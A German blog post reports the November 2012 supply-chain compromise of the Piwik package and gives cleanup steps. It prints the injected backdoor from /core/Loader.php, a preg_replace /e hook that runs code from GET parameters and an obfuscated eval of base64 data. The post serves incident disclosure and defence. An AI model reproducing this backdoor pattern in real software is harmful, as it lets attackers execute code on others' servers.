Wie Maximilian Grobecker in einem Eintrag vom 27.11.2012 auf seinem Blog berichtete, fiel ihm beim Update seiner Piwik-Installation eine kompromittierte PHP-Datei im Piwik-Paket auf. In der Datei /core/Loader.php wurde zusätzlicher Code eingeschleust, der eine Ausführung von get-Parameter aus der Ferne zu ließ. Er beschreibt den genauen Vorgang in seinem Blog ausführlich – unbedingt lesen!

Der kompromittierte Code in der /core/Loader.php:

<?php Error_Reporting(0);
if(isset($_GET['g']) && isset($_GET['s'])) {
   preg_replace("/(.+)/e", $_GET['g'], 'dwm');
   exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF ...

Schritte zur Problembehebung einer betroffenen Piwik-Installation

Wer Piwik am 26./27. November 2012 geupdated oder neu installiert hat, sollte umgehend nach der eventuell kompromittierten Datei Ausschau halten und die folgenden Schritte ausführen:

  1. Backup der Konfigurationsdatei /config/config.ini.php erstellen
  2. das komplette Piwik-Verzeichnis inklusive aller Dateien und Unterordner löschen
  3. die aktuelle Piwik-Version von piwik.org laden
  4. die zip-Datei entpacken und auf dem Server einspielen
  5. die gesicherte config.ini.php zurück in das /config-Verzeichnis kopieren

Piwik sollte nun wieder bereinigt sein und problemlos funktionieren.

Das Piwik-Team hat umgehend auf diesen Vorfall reagiert und eine „saubere“ Paketdatei bereit gestellt. Auf dem Piwik-Blog wurde eine entsprechende Stellungnahme veröffentlicht.

Der Angreifer hat eine Sicherheitslücke in einem WordPress-Plugin ausgenutzt und sich dadurch Zugriff auf den Piwik-Server verschafft. Auf diesem Weg ließ sich die modifizierte Paketdatei unbemerkt einspielen. Warum es bei Piwik keinen SHA1-Hash oder andere Sicherheitsmechanismen gibt, wird im Forum sowie im Blog bei piwik.org bereits diskutiert.